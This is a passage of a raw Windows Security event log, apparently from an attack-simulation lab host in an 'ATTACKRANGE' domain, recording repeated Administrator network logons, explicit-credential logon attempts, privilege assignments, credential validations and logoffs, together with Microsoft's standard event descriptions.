This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:38:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245673
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:38:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245672
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xEF021

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:38:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245671
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xEF021

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:38:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245670
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xEF021
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:38:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245669
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:38:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245668
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:38:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245667
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xEECB9

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:38:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245666
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xEECB9
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:38:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245665
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:38:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245664
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:38:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245663
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x41c
	Process Name:		C:\Windows\System32\svchost.exe
03/11/2021 11:38:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245662
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xEE7F7

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:38:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245661
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xEE7F7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:38:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245660
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:38:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245659
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:38:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245658
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xEE715

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:38:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245657
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xE9734

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:38:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245656
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xE9D4C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:38:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245655
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xEE715

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:38:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245654
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xEE715
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:38:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245653
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:38:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245652
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:38:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245651
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xEE6E4

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:38:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245650
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xEE6E4

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:38:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245649
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xEE6E4
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:38:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245648
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:38:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245647
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:38:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245646
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xED908

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:38:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245645
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xEC488

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:38:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245644
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xEA162

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:38:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245715
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xF48F2

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:38:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245714
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xF48F2
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:38:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245713
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
